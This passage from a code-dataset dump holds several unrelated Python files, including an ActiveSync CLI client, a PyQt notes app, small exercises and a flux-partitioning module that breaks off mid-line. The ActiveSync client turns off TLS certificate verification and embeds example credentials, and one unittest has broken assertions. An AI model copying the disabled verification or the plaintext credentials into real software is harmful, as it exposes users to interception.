second person pronoun; the person addressed\r\n________________\r\nPrevious: hapy\r\nCorrection: happy\r\n`Definiton`: enjoying or showing or marked by joy or pleasure\r\n\"\"\"\r\n################################################### Solution 3: #############################################\r\ndef SpellChecker():\r\n # valid_words = load_words('words_alpha.txt')\r\n # The list is not sorted so we must sort it first using 'sorted()' function\r\n valid_words = sorted(load_words('words.txt'))\r\n print(type(valid_words))\r\n A = int(input(\"\"\"Do you want to process a text file or you just want to type in a sentence or two? \r\ntype either 1 or 2 (1. Typing sentences, 2. Entering a text file)\r\nAnswer= \"\"\"))\r\n if A == 1:\r\n words = (remove_urls(input(\"Type the text you want to check the spelling for: \")).lower()).split()\r\n print(words)\r\n else:\r\n filename = input(\"\"\"Please type in the name of your text file to be validated based on spelling: \r\n\"\"\")\r\n words = load_words(filename)\r\n print(words)\r\n\r\n misspell = 0\r\n i = 0\r\n misspellings = {}\r\n for w in words:\r\n outcome = binarySearch(valid_words, w)\r\n if outcome == -1:\r\n print(f\"The word '{w}' dose not exist in the dictionary of words so it might be misspelled\")\r\n misspell += 1\r\n misspellings[i] = w\r\n i += 1\r\n if misspell == 0:\r\n print(\"No spelling mistakes found based on the dictionary\")\r\n else:\r\n print(f\"There were {misspell} misspellings and here is the words that are wrong along with their position (index) in the text {misspellings}\")\r\n################################################## To run uncomment the line below #########################\r\n#SpellChecker()\r\n\"\"\"Test result:\r\nDo you want to process a text file or you just want to type in a sentence or two? \r\ntype either 1 or 2 (1. Typing sentences, 2. Entering a text file)\r\nAnswer= 1\r\nType the text you want to check the spelling for: What a greete day it is, and I am hapy to be with you\r\n['what', 'a', 'greete', 'day', 'it', 'is', 'and', 'i', 'am', 'hapy', 'to', 'be', 'with', 'you']\r\nThe word 'greete' dose not exist in the dictionary of words so it might be misspelled\r\nThe word 'hapy' dose not exist in the dictionary of words so it might be misspelled\r\nThere were 2 misspellings and here is the words that are wrong along with their position (index) in the text {2: 'greete', 9: 'hapy'}\"\"\"","repo_name":"Hosna878/PythonCoding_Tutorials","sub_path":"Tutorial5-HosnaHamdieh.py","file_name":"Tutorial5-HosnaHamdieh.py","file_ext":"py","file_size_in_byte":21396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"31937103899","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QLabel, QListWidget, QLineEdit, QTextEdit, QInputDialog, QHBoxLayout, QVBoxLayout, QFormLayout\n \napp = QApplication([])\n \n'''Application interface'''\n#application window parameters\nnotes_win = QWidget()\nnotes_win.setWindowTitle('Smart Notes')\nnotes_win.resize(900, 600)\n \n#application window widgets\nlist_notes = QListWidget()\nlist_notes_label = QLabel('List of notes')\n \nbutton_note_create = QPushButton('Create note') #a window appears with the field \"Enter note name\"\nbutton_note_del = QPushButton('Delete note')\nbutton_note_save = QPushButton('Save note')\n \nfield_tag = QLineEdit('')\nfield_tag.setPlaceholderText('Enter tag...')\nfield_text = QTextEdit()\nbutton_add = QPushButton('Add to note')\nbutton_del = QPushButton('Untag from note')\nbutton_search = QPushButton('Search notes by tag')\nlist_tags = QListWidget()\nlist_tags_label = QLabel('List of tags')\n \n#arranging widgets by layout\nlayout_notes = QHBoxLayout()\ncol_1 = QVBoxLayout()\ncol_1.addWidget(field_text)\n \ncol_2 = QVBoxLayout()\ncol_2.addWidget(list_notes_label)\ncol_2.addWidget(list_notes)\nrow_1 = QHBoxLayout()\nrow_1.addWidget(button_note_create)\nrow_1.addWidget(button_note_del)\nrow_2 = QHBoxLayout()\nrow_2.addWidget(button_note_save)\ncol_2.addLayout(row_1)\ncol_2.addLayout(row_2)\n \ncol_2.addWidget(list_tags_label)\ncol_2.addWidget(list_tags)\ncol_2.addWidget(field_tag)\nrow_3 = QHBoxLayout()\nrow_3.addWidget(button_add)\nrow_3.addWidget(button_del)\nrow_4 = QHBoxLayout()\nrow_4.addWidget(button_search)\n \ncol_2.addLayout(row_3)\ncol_2.addLayout(row_4)\n \nlayout_notes.addLayout(col_1, stretch = 2)\nlayout_notes.addLayout(col_2, stretch = 1)\nnotes_win.setLayout(layout_notes)\n \n#run the application\nnotes_win.show()\napp.exec_()\n","repo_name":"nguyenngoclannhu/algoProject","sub_path":"PTSY2/Module 3/SmartNote_1.py","file_name":"SmartNote_1.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71302758187","text":"#!/bin/env python3\n\n\"\"\"\nactivesynccli.py\n --host apps.kolabnow.com\n --devicetype WindowsOutlook15\n --deviceid windowsascli\n --user test1@kolab.org --password Welcome2KolabSystems\n --verbose\n list --folder INBOX\n\n# Dependencies\n\n dnf install libwbxml-devel\n pip install --global-option=build_ext --global-option=\"-I/usr/include/libwbxml-1.0/wbxml/\" git+https://github.com/Apheleia-IT/python-wbxml#egg=wbxml\n\n\"\"\"\n\nimport argparse\nimport base64\nimport http.client\nimport urllib.parse\nimport struct\nimport xml.etree.ElementTree as ET\nimport ssl\nimport wbxml\n\n\ndef decode_timezone(tz):\n decoded = base64.b64decode(tz)\n bias, standardName, standardDate, standardBias, daylightName, daylightDate, daylightBias = struct.unpack('i64s16si64s16si', decoded)\n print(f\" TimeZone bias: {bias}min\")\n print(f\" Standard Name: {standardName.decode()}\")\n year, month, day, week, hour, minute, second, millis = struct.unpack('hhhhhhhh', standardDate)\n print(f\" Standard Date: Year: {year} Month: {month} Day: {day} Week: {week} Hour: {hour} Minute: {minute} Second: {second} Millisecond: {millis}\")\n print(f\" Daylight Name: {daylightName.decode()}\")\n year, month, day, week, hour, minute, second, millis = struct.unpack('hhhhhhhh', daylightDate)\n print(f\" Daylight Date: Year: {year} Month: {month} Day: {day} Week: {week} Hour: {hour} Minute: {minute} Second: {second} Millisecond: {millis}\")\n print(f\" Daylight Bias: {daylightBias}min\")\n print()\n\n\ndef http_request(url, method, params=None, headers=None, body=None):\n \"\"\"\n Perform an HTTP request.\n \"\"\"\n\n # print(url)\n parsed_url = urllib.parse.urlparse(url)\n # print(\"Connecting to \", parsed_url.netloc)\n if url.startswith('https://'):\n conn = http.client.HTTPSConnection(parsed_url.netloc, 443, context = ssl._create_unverified_context())\n else:\n conn = http.client.HTTPConnection(parsed_url.netloc, 80)\n\n if params is None:\n params = {}\n\n if headers is None:\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=utf-8\"\n }\n\n if body is None:\n body = urllib.parse.urlencode(params)\n\n # print(\"Requesting\", parsed_url.geturl(), \"From\", parsed_url.netloc)\n conn.request(method, parsed_url.geturl(), body, headers)\n response = conn.getresponse()\n\n # Handle redirects\n if response.status in (301, 302,):\n # print(\"Following redirect \", response.getheader('location', ''))\n return http_request(\n urllib.parse.urljoin(url, response.getheader('location', '')),\n method,\n params,\n headers,\n body)\n\n if not response.status == 200:\n print(\" \", \"Status\", response.status)\n print(\" \", response.read().decode())\n\n return response\n\n\ndef basic_auth_headers(username, password):\n user_and_pass = base64.b64encode(\n f\"{username}:{password}\".encode(\"ascii\")\n ).decode(\"ascii\")\n\n return {\n \"Authorization\": \"Basic {}\".format(user_and_pass)\n }\n\n\ndef try_get(name, url, verbose, headers = None, body = None):\n response = http_request(\n url,\n \"GET\",\n None,\n headers,\n body\n )\n success = response.status == 200\n if not success:\n print(f\"=> Error: {name} is not available\")\n\n if verbose or not success:\n print(\" \", \"Status\", response.status)\n print(\" \", response.read().decode())\n\n return success\n\n\ndef test_autodiscover_activesync(host, username, password, verbose = False):\n body = '''<Autodiscover \\\nxmlns=\"http://schemas.microsoft.com/exchange/autodiscover/mobilesync/requestschema/2006\">\n <Request>\n <EMailAddress>{username}</EMailAddress>\n <AcceptableResponseSchema>\n http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006\n </AcceptableResponseSchema>\n </Request>\n</Autodiscover>'''\n\n headers = {\n \"Content-Type\": \"text/xml; charset=utf-8\"\n }\n\n response = http_request(\n f\"https://{host}/autodiscover/autodiscover.xml\",\n \"POST\",\n None,\n headers,\n body\n )\n\n success = response.status == 200\n data = response.read().decode()\n if not success:\n print(\"=> Error: Activesync autodiscover is not available\")\n else:\n # Sanity check of the data\n assert f\"<Url>https://{host}/Microsoft-Server-ActiveSync</Url>\" in data\n assert username in data\n\n if verbose or not success:\n print(\" \", \"Status\", response.status)\n print(\" \", data)\n\n return success\n\n\ndef test_activesync(host, username, password, verbose = False):\n headers = {\n \"Host\": host,\n **basic_auth_headers(username, password)\n }\n\n response = http_request(\n f\"https://{host}/Microsoft-Server-ActiveSync\",\n \"OPTIONS\",\n None,\n headers,\n None\n )\n\n success = response.status == 200\n data = response.read().decode()\n if not success:\n print(\"=> Error: Activesync is not available\")\n else:\n # Sanity check of the data\n assert response.getheader('MS-Server-ActiveSync', '')\n assert '14.1' in response.getheader('MS-ASProtocolVersions', '')\n assert 'FolderSync' in response.getheader('MS-ASProtocolCommands', '')\n\n if verbose or not success:\n print(\" \", \"Status\", response.status)\n print(\" \", data)\n\n return success\n\n\nclass ActiveSync:\n def __init__(self, options):\n self.host = options.host\n self.username = options.username\n self.password = options.password\n self.verbose = options.verbose\n\n if options.deviceid:\n self.deviceid = options.deviceid\n else:\n self.deviceid = 'v140Device'\n\n if options.devicetype:\n self.devicetype = options.devicetype\n else:\n self.devicetype = 'iphone'\n\n if hasattr(options, 'folder') and options.folder:\n self.folder = options.folder\n else:\n self.folder = None\n\n\n def send_request(self, command, request):\n body = wbxml.xml_to_wbxml(request)\n\n headers = {\n \"Host\": self.host,\n **basic_auth_headers(self.username, self.password)\n }\n\n headers.update(\n {\n \"Content-Type\": \"application/vnd.ms-sync.wbxml\",\n 'MS-ASProtocolVersion': \"14.0\",\n }\n )\n\n return http_request(\n f\"https://{self.host}/Microsoft-Server-ActiveSync?Cmd={command}&User={self.username}&DeviceId={self.deviceid}&DeviceType={self.devicetype}\",\n \"POST\",\n None,\n headers,\n body\n )\n\n\n def check(self):\n headers = {\n \"Host\": self.host,\n **basic_auth_headers(self.username, self.password)\n }\n\n response = http_request(\n f\"https://{self.host}/Microsoft-Server-ActiveSync\",\n \"OPTIONS\",\n None,\n headers,\n None\n )\n\n success = response.status == 200\n data = response.read().decode()\n if not success:\n print(\"=> Error: Activesync is not available\")\n else:\n # Sanity check of the data\n assert response.getheader('MS-Server-ActiveSync', '')\n assert '14.1' in response.getheader('MS-ASProtocolVersions', '')\n assert 'FolderSync' in response.getheader('MS-ASProtocolCommands', '')\n\n if self.verbose or not success:\n print(\" \", \"Status\", response.status)\n print(\" \", data)\n\n return success\n\n\n def fetch(self, collection_id, sync_key = 0):\n request = \"\"\"\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <!DOCTYPE AirSync PUBLIC \"-//AIRSYNC//DTD AirSync//EN\" \"http://www.microsoft.com/\">\n <Sync xmlns=\"uri:AirSync\" xmlns:AirSyncBase=\"uri:AirSyncBase\">\n <Collections>\n <Collection>\n <SyncKey>{sync_key}</SyncKey>\n <CollectionId>{collection_id}</CollectionId>\n <DeletesAsMoves>0</DeletesAsMoves>\n <DeletesAsMoves>0</DeletesAsMoves>\n <WindowSize>512</WindowSize>\n <Options>\n <FilterType>0</FilterType>\n <MIMESupport>2</MIMESupport>\n <MIMETruncation>8</MIMETruncation>\n <BodyPreference xmlns=\"uri:AirSyncBase\">\n <Type>4</Type>\n <AllOrNone>1</AllOrNone>\n </BodyPreference>\n </Options>\n </Collection>\n </Collections>\n <WindowSize>512</WindowSize>\n </Sync>\n \"\"\".replace(' ', '').replace('\\n', '')\n\n # for mail\n # <BodyPreference xmlns=\"uri:AirSyncBase\">\n # <Type>4</Type>\n response = self.send_request('Sync', request.format(collection_id=collection_id, sync_key=sync_key))\n\n assert response.status == 200\n\n result = wbxml.wbxml_to_xml(response.read())\n\n if self.verbose:\n print(result)\n\n root = ET.fromstring(result)\n xmlns = \"http://synce.org/formats/airsync_wm5/airsync\"\n sync_key = root.find(f\".//{{{xmlns}}}SyncKey\").text\n more_available = (len(root.findall(f\".//{{{xmlns}}}MoreAvailable\")) == 1)\n if self.verbose:\n print(\"Current SyncKey:\", sync_key)\n\n for add in root.findall(f\".//{{{xmlns}}}Add\"):\n serverId = add.find(f\"{{{xmlns}}}ServerId\").text\n print(\" ServerId\", serverId)\n applicationData = add.find(f\"{{{xmlns}}}ApplicationData\")\n\n calxmlns = \"http://synce.org/formats/airsync_wm5/calendar\"\n subject = applicationData.find(f\"{{{calxmlns}}}Subject\")\n if subject is not None:\n print(\" Subject\", subject.text)\n startTime = applicationData.find(f\"{{{calxmlns}}}StartTime\")\n if startTime is not None:\n print(\" StartTime\", startTime.text)\n timeZone = applicationData.find(f\"{{{calxmlns}}}TimeZone\")\n if timeZone is not None:\n #the dates are encoded like so: vstdyear/vstdmonth/vstdday/vstdweek/vstdhour/vstdminute/vstdsecond/vstdmillis\n decoded = base64.b64decode(timeZone.text)\n bias, standardName, standardDate, standardBias, daylightName, daylightDate, daylightBias = struct.unpack('i64s16si64s16si', decoded)\n print(f\" TimeZone bias: {bias}min\")\n print(\"\")\n\n\n print(\"\\n\")\n\n # Fetch after the initial sync\n if sync_key == \"1\":\n self.fetch(collection_id, sync_key)\n\n # Fetch more\n if more_available:\n self.fetch(collection_id, sync_key)\n\n\n\n def list(self):\n request = \"\"\"\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <!DOCTYPE ActiveSync PUBLIC \"-//MICROSOFT//DTD ActiveSync//EN\" \"http://www.microsoft.com/\">\n <FolderSync xmlns=\"FolderHierarchy:\">\n <SyncKey>0</SyncKey>\n </FolderSync>\n \"\"\".replace(' ', '').replace('\\n', '')\n\n response = self.send_request('FolderSync', request)\n\n assert response.status == 200\n\n result = wbxml.wbxml_to_xml(response.read())\n\n if self.verbose:\n print(result)\n\n root = ET.fromstring(result)\n xmlns = \"http://synce.org/formats/airsync_wm5/folderhierarchy\"\n sync_key = root.find(f\".//{{{xmlns}}}SyncKey\").text\n if self.verbose:\n print(\"Current SyncKey:\", sync_key)\n\n for add in root.findall(f\".//{{{xmlns}}}Add\"):\n displayName = add.find(f\"{{{xmlns}}}DisplayName\").text\n serverId = add.find(f\"{{{xmlns}}}ServerId\").text\n print(\"ServerId\", serverId)\n print(\"DisplayName\", displayName)\n\n if self.folder and displayName == self.folder:\n self.fetch(serverId)\n\n# response = http_request(\n# f\"https://{host}/autodiscover/autodiscover.xml\",\n# \"POST\",\n# None,\n# headers,\n# body\n# )\n\n\n\n\ndef main():\n parser = argparse.ArgumentParser(\"usage: %prog [options]\")\n\n parser.add_argument(\"--host\", help=\"Host\")\n parser.add_argument(\"--username\", help=\"Output directory\")\n parser.add_argument(\"--password\", help=\"User password to use for all files\")\n parser.add_argument(\"--verbose\", action='store_true', help=\"Verbose output\")\n parser.add_argument(\"--deviceid\", help=\"deviceid \")\n parser.add_argument(\"--devicetype\", help=\"devicetype (WindowsOutlook15, iphone)\")\n\n subparsers = parser.add_subparsers()\n\n parser_list = subparsers.add_parser('decode_timezone')\n parser_list.add_argument(\"timezone\", help=\"Encoded timezone string\")\n parser_list.set_defaults(func=lambda args: decode_timezone(args.timezone))\n\n parser_list = subparsers.add_parser('list')\n parser_list.add_argument(\"--folder\", help=\"Folder\")\n parser_list.set_defaults(func=lambda args: ActiveSync(args).list())\n\n parser_check = subparsers.add_parser('check')\n parser_check.set_defaults(func=lambda args: ActiveSync(args).check())\n\n options = parser.parse_args()\n\n options.func(options)\n\n # if test_autodiscover_activesync(options.host, options.username, options.password, options.verbose):\n # print(\"=> Activesync Autodsicovery available\")\n\n # if test_activesync(options.host, options.username, options.password, options.verbose):\n # print(\"=> Activesync available\")\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cmollekopf/home","sub_path":"bin/scripts/activesynccli.py","file_name":"activesynccli.py","file_ext":"py","file_size_in_byte":13672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27172306892","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 7 15:01:38 2021\n\n@author: Prital Bamnodkar\n\"\"\"\n\n# A palindromic number reads the same both ways.\n# The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.\n# Find the largest palindrome made from the product of two 3-digit numbers.\n\n# to check if a string s is a palindrome,\n# get len(s),\n \n# set i = 0 and j = len(s) - 1\n# check if s[i] == s[j],\n# if yes, i++ and j--:\n# if no, return False:\n# if s[i] != s[j], i.e. the character on nth position from left and the one from right dont match,\n# the s is not a palindrome, \n# therefore return False\n\ndef is_palindrome(s):\n '''\n Parameters\n ----------\n s : TYPE:str\n DESCRIPTION.\n check if a given string is a palindrome\n\n Returns\n -------\n Bool\n\n '''\n \n n = len(s)\n \n for i in range(0, n - 1):\n j = n - 1 - i\n if s[i] == s[j]:\n continue\n else:\n return False \n return True\n\npalindrome_numbers = []\n\nfor i in range(999, 1, -1):\n for j in range(i, 1, -1):\n if is_palindrome(str(i * j)):\n palindrome_numbers.append(i*j)\n \nprint(palindrome_numbers)\nprint(max(palindrome_numbers))\n","repo_name":"pritalb/project-euler","sub_path":"largest_palindrome_product.py","file_name":"largest_palindrome_product.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6335771335","text":"\n\nfrom __future__ import print_function\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport numpy as np\nfrom numpy.linalg import inv\n\n\na = 3\nb = 2\nN = 100\n# y = ax+b\nx = np.reshape(range(N),(N,1))\ny = a*x + b + 10*np.random.randn(N,1)\n\n# Animation: MSE gradient descent\nfig1 = plt.figure()\n\ndef init():\n line.set_data([], [])\n return line,\n\ndef update_w(i):\n global w\n off = 2*a*X.T.dot((X.dot(w)-y))\n w = w - off\n line.set_data(x,X.dot(w))\n print(i)\n return line,\n\nX = np.hstack((np.ones((N,1)),x))\nw = np.random.rand(X.shape[1],1)\nax = plt.axes(xlim=(-20, 120), ylim=(-50, 350))\nline, = ax.plot([], [], lw=2)\n\na = 0.00000001\n\nplt.scatter(x,y)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend(['Fitted model','Input'])\nplt.title('Plot of $y = 3x+2 + 10*\\eta (0,1)$')\n\n# for i in range(98):\n# off = 2*a*X.T.dot((X.dot(w)-y))\n# if np.sum(np.square(off)) < .000001:\n# break\n# w = w - off\n# print(off)\n# print(w)\n# line, = plt.plot(x, X.dot(w))\n\nline_ani = animation.FuncAnimation(fig1, update_w,init_func=init, frames=100, interval=25, blit=True)\nplt.show()","repo_name":"naveensr89/Scipy-explore","sub_path":"linear_reg_animation.py","file_name":"linear_reg_animation.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74759897068","text":"import os.path\nimport datetime\nimport re\nfrom . import utils, store, account\nimport logging\n\nclass MarketProduct:\n seller = None\n product_name = None\n price_seller = None\n price_fee = None\n description = None\n total_price = None\n def __init__(self, seller: account.Account, product_name: str, price_seller: int, price_fee: int, description: str = None):\n \"\"\"\n Initializes the MarketProduct object.\n\n Parameters:\n seller (account.Account): The seller (who will recieve the amount as defined in price_seller)\n product_name (str): The unique identifier of the product (i.e. EAN code)\n price_seller (int): The amount of money that the seller will receive, in cents (optionally a string, will be parsed to cents)\n price_fee (int): A fee that will be added to price_seller that will not go to the seller, maybe for the benefit of the spacebank operator.\n description (str): Human-friendly description of the product\n \"\"\"\n \n self.seller = seller\n self.product_name = product_name \n if type(price_seller) == int:\n self.price_seller = price_seller\n else:\n # convert balance to integer\n self.price_seller = utils.balance_str_to_int(price_seller)\n \n if type(price_fee) == int:\n self.price_fee = price_fee\n else:\n # convert balance to integer\n self.price_fee = utils.balance_str_to_int(price_fee)\n \n self.total_price = self.price_fee + self.price_seller\n\n self.description = description\n \n \n def __str__(self):\n return f\"<MarketProduct '{self.product_name}' ({self.total_price})>\"\n \n def _to_line(self):\n price_seller = utils.cents_to_decimal_string(self.price_seller)\n price_fee = utils.cents_to_decimal_string(self.price_fee)\n return f\"{self.seller} {self.product_name} {price_seller} {price_fee} {self.description}\"\n\n\n\nclass MarketProductStore(store.BaseStore): \n def _read_store(self):\n linenumber = 1\n with open(self.store_filename) as f_products:\n logging.info(f\"Opening market product store @ '{self.store_filename}'\")\n f_products_lines = f_products.readlines()\n for product_line in f_products_lines:\n product_line_split_raw = product_line.rstrip().split(' ')\n product_line_split = []\n # parse out a bunch of spaces, see the parser in account.py\n for value in product_line_split_raw:\n value = value.rstrip()\n if value != '':\n product_line_split.append(value)\n \n price_seller = utils.balance_str_to_int(product_line_split[2])\n price_fee = utils.balance_str_to_int(product_line_split[3])\n if len(product_line_split) > 5:\n # the description MAY contain spaces which have been split, so if there are more than 3 words in the list,\n # combine them\n product_description = ' '.join(product_line_split[4:])\n else:\n product_description = product_line_split[4]\n new_product = MarketProduct(product_line_split[0], product_line_split[1], price_seller, price_fee, product_description)\n self._store[product_line_split[1]] = new_product\n linenumber += 1\n \n def __repr__(self):\n return f\"<MarketProductStore containing {len(self._store)} products>\"","repo_name":"brandsjek/spacebank","sub_path":"spacebank/market.py","file_name":"market.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32149933939","text":"import csv\nfrom model import accident, car, place, user\n\nFILES = {\n \"place\": \"data/lieux.csv\",\n \"user\": \"data/usagers.csv\",\n \"carac\": \"data/caracteristiques.csv\",\n \"car\": \"data/vehicules.csv\"\n}\n\naccidents = {}\nline = 0\n\ntry:\n with open(FILES[\"carac\"], encoding='ISO-8859-1') as f:\n reader = csv.DictReader(f)\n line = 1\n\n for row in reader:\n a = accident.Accident.fromRow(**row)\n if a is not None:\n accidents[a.Num_Acc] = a\n line += 1\n\n with open(FILES[\"place\"], encoding='ISO-8859-1') as f:\n reader = csv.DictReader(f)\n line = 1\n\n for row in reader:\n a = place.Place(**row)\n if a.Num_Acc in accidents:\n accidents[a.Num_Acc].addPlace(a)\n line += 1\n\n with open(FILES[\"car\"], encoding='ISO-8859-1') as f:\n reader = csv.DictReader(f)\n line = 1\n\n for row in reader:\n a = car.Car(**row)\n if a.Num_Acc in accidents:\n accidents[a.Num_Acc].addCar(a)\n line += 1\n \n with open(FILES[\"user\"], encoding='ISO-8859-1') as f:\n reader = csv.DictReader(f)\n line = 1\n\n for row in reader:\n a = user.User(**row)\n if a.Num_Acc in accidents:\n accidents[a.Num_Acc].addUser(a)\n line += 1\nexcept ValueError:\n print(\"Error at line \" + str(line))\n raise\n\n\ndef get():\n return accidents\n\n\n\n\n","repo_name":"max4t/test","sub_path":"test_accident/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35979385663","text":"import unittest\nimport requests\nfrom test01.readExcl01 import read_Excel\n\n\nclass test_TQ(unittest.TestCase):\n def setUp(self):\n print(\"开始\")\n\n def tearDown(self):\n print(\"结束\")\n\n def test002(self):\n #创建对象\n t = read_Excel()\n #调用方法\n data2 = t.red_exc()\n #遍历数据\n for i in data2:\n url =\"http://v.juhe.cn/weather/index\" #查询天气的接口请求地址\n #构建请求参数\n para = {\"cityname\":i[\"cityname\"],\"key\":i[\"key\"]}\n #发送请求\n res = requests.post(url,params=para)\n re =res.json()\n self.assertEqual(re[\"reason\", i[\"查询成功!\"]])\n self.assertEqual(re[\"error_code\",int(i[\"exp\"])])\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"GLSmile/pythontest","sub_path":"unittest/unittestT01.py","file_name":"unittestT01.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1011387182","text":"\"\"\"TODO:\"\"\"\nimport math\nfrom types import SimpleNamespace\n\nimport numpy as np\n\nimport fluxpart.util as util\nfrom .containers import FVSPSolution, MassFluxes, RootSoln, WQCData\n\n\nclass Error(Exception):\n pass\n\n\nclass FVSError(Error):\n def __init__(self, message):\n self.message = message\n\n\ndef fvspart_progressive(w, q, c, wue, adjust_fluxes=True):\n \"\"\"FVS flux partitioning using high frequency eddy covariance data.\n\n If a valid partitioning solution is not found for the passed series\n data, low-frequency (large-scale) components are progressively\n removed from the data until either a valid solution is found or\n the series decomposition is exhausted.\n\n Parameters\n ----------\n w,q,c : array_like\n 1D high frequency time series for vertical wind speed `w` (m/s),\n water vapor `q` (kg/m^3), and CO2 `c` (kg/m^3).\n wue : float, `wue` < 0\n leaf-level water use efficiency, kg CO2 / kg H2O.\n adjust_fluxes : bool, optional\n Indicates whether the obtained partitioned fluxes should be\n adjusted so that the totals match the original data. Default is\n True.\n\n Returns\n -------\n :class:`~fluxpart.containers.FVSPSolution`\n\n Notes\n -----\n If a valid partitioning is not found, the returned `numersoln` and\n `wqc_data` correspond to the final iteration attempted.\n\n \"\"\"\n max_decomp_lvl = int(np.log2(w.size))\n wq_tot = np.cov((w, q))[0, 1]\n wc_tot = np.cov((w, c))[0, 1]\n\n # The loop progressively filters the data until a physically valid\n # partitioning is found or the loop/filter is exhausted. The first\n # iteration of progressive_lowcut removes only the mean value\n # (q'=q-<q>, etc.), so the first iteration uses the \"unfiltered\"\n # deviations.\n\n for cnt, lowcut_wqc in enumerate(_progressive_lowcut(w, q, c)):\n wave_lvl = (max_decomp_lvl - cnt, max_decomp_lvl)\n\n fluxes, fvsp = fvspart_series(*lowcut_wqc, wue)\n if cnt == 0:\n if fvsp.fvsp_mssg:\n mssg_for_unfiltered_data = fvsp.fvsp_mssg\n else:\n mssg_for_unfiltered_data = \"NA\"\n\n if fvsp.rootsoln.valid_root:\n if adjust_fluxes:\n fluxes = _adjust_fluxes(fluxes, wue, wq_tot, wc_tot)\n fvsp.valid_partition, fvsp.mssg = _isvalid_partition(fluxes)\n if fvsp.valid_partition:\n break\n\n fvsp.wave_lvl = wave_lvl\n if not fvsp.rootsoln.valid_root:\n fvsp.valid_partition = False\n fvsp.mssg = mssg_for_unfiltered_data\n if not fvsp.valid_partition:\n fluxes = MassFluxes()\n fvsp.mssg = mssg_for_unfiltered_data\n return fluxes, fvsp\n\n\ndef fvspart_series(w, q, c, wue, wipe_if_invalid=False):\n \"\"\"FVS partition q and c fluxes using high frequency eddy cov data.\n\n Parameters\n ----------\n w,q,c : array_like\n 1D high frequency time series for vertical wind speed `w` (m/s),\n water vapor `q` (kg/m^3), and CO2 `c` (kg/m^3).\n wue : float, `wue` < 0\n leaf-level water use efficiency, kg CO2 / kg H2O.\n wipe_if_invalid : boolean\n If True, return default (nan) values for all mass fluxes if any\n calculated fluxes violate directional requirements. Default is\n False.\n\n Returns\n -------\n :class:`~fluxpart.containers.FVSPSolution`,\n\n \"\"\"\n cov = np.cov([w, q, c])\n wqc_data = WQCData(\n wq=cov[0, 1],\n wc=cov[0, 2],\n var_q=cov[1, 1],\n var_c=cov[2, 2],\n corr_qc=cov[1, 2] / math.sqrt(cov[1, 1] * cov[2, 2]),\n )\n return fvspart_interval(wqc_data, wue)\n\n\ndef fvspart_interval(wqc_data, wue, wipe_if_invalid=False):\n \"\"\"Partition H2O and CO2 fluxes using interval averaged data values.\n\n Parameters\n ----------\n wqc_data : :class:`~fluxpart.containers.WQCData`\n wue : float, kg CO2 / kg H2O\n Leaf-level water use efficiency, `wue` < 0\n wipe_if_invalid : boolean\n If True, return default (nan) values for all mass fluxes if any\n calculated fluxes violate directional requirements. Default is\n False.\n\n Returns\n -------\n :class:`~fluxpart.containers.FVSPSolution`\n\n \"\"\"\n try:\n rootsoln = findroot(wqc_data, wue)\n except FVSError as e:\n fvsp = FVSPSolution(\n wqc_data=wqc_data,\n valid_partition=False,\n fvsp_mssg=e.args[0],\n rootsoln=RootSoln(valid_root=False),\n )\n return MassFluxes(), fvsp\n\n if not rootsoln.valid_root:\n fvsp = FVSPSolution(\n wqc_data=wqc_data,\n rootsoln=rootsoln,\n valid_partition=False,\n fvsp_mssg=\"Invalid Root\",\n )\n return MassFluxes(), fvsp\n\n mass_fluxes = _mass_fluxes(\n var_cp=rootsoln.var_cp,\n corr_cp_cr=rootsoln.corr_cp_cr,\n wqc_data=wqc_data,\n wue=wue,\n co2soln_id=rootsoln.co2soln_id,\n )\n isvalid, mssg = _isvalid_partition(mass_fluxes)\n if not isvalid and wipe_if_invalid:\n mass_fluxes = MassFluxes()\n fvsps = FVSPSolution(\n wqc_data=wqc_data,\n rootsoln=rootsoln,\n valid_partition=isvalid,\n fvsp_mssg=mssg,\n )\n return mass_fluxes, fvsps\n\n\ndef findroot(wqc_data, wue):\n \"\"\"Calculate (corr_cp_cr, var_cp).\n\n Parameters\n ----------\n wqc_data : namedtuple or equivalent namespace\n :class:`~fluxpart.containers.WQCData`\n wue : float\n Leaf-level water use efficiency, `wue` < 0, kg CO2 / kg H2O.\n\n Returns\n -------\n namedtuple\n :class:`~fluxpart.containers.RootSoln`\n\n \"\"\"\n try:\n _check_fvsp_assumptions(wqc_data, wue)\n except FVSError:\n raise\n\n co2soln_id = None\n sig_cr, var_cp, corr_cp_cr = np.nan, np.nan, np.nan\n valid_root = False\n\n var_q, var_c = wqc_data.var_q, wqc_data.var_c\n sd_q, sd_c = math.sqrt(var_q), math.sqrt(var_c)\n wq, wc = wqc_data.wq, wqc_data.wc\n corr_qc = wqc_data.corr_qc\n\n # wcwq = wc / wq\n # scsq = sd_c / sd_q\n\n # if corr_qc > 0 and ((wue < wcwq < 0) or (0 < 